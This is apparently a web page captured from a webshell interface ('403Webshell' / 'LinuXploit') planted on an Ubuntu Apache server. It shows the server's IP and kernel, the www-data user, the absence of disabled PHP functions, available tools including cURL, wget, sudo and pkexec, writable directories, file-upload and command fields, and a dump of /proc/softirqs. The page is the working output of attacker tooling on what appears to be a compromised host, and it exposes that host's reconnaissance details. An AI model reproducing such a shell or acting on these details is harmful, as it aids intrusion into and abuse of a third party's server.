403Webshell
Server IP : 107.13.46.68  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux mariOS 6.8.0-51-generic #52-Ubuntu SMP PREEMPT_DYNAMIC Thu Dec 5 13:09:44 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      CPU19      CPU20      CPU21      CPU22      CPU23      CPU24      CPU25      CPU26      CPU27      CPU28      CPU29      CPU30      CPU31      
          HI:         22          1          3          2          0          0    3735128          1          0          6      12039         12         15          0          1          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER:   20586761   31571388   16739832   16487857   15296335   18036495   15383478   15797047   15893928   14200026   13255526   15554248   13771630   13578628   12226637   12622631          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
      NET_TX:      17876      62464       8233       4219     212582    5696894        670     268742       7438      11249       3676     555530        888        482       1482     123697          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
      NET_RX:   14971393   14436256   14204654   13746445   13962624  553476696   15583576   59879302   13603699   13874722   13868311   68411474   13864111   13697376   13851438   35909664          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       BLOCK:     617952     950961     281913     230841     437883     202200      52789    1237540     408481     526266     885270     887851     585335    1587529      96798    1626033          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:        226         18         29          5         42   31447538   18883441    2785143         45         55       9034    2959249         60          7       8451    1842560          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       SCHED:  153089159  128009477  107204551   70527624   56319176   52942052   45438762   68725973  103581028  106168533   84579114   61702373   48904465   42268152   39975020   53473170          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     HRTIMER:      12059      11841      12903      12224      11801      10972      13755      12072      11616      12052      12706      10631      13812      12301      12118      11649          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
         RCU:  104520522   97861153   81411878   60449335   50808924   51507209   43262274   60184033   82181890   86450536   69196001   55900356   46071573   41223306   39490751   50138575          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0

Youez - 2016 - github.com/yon3zu
LinuXploit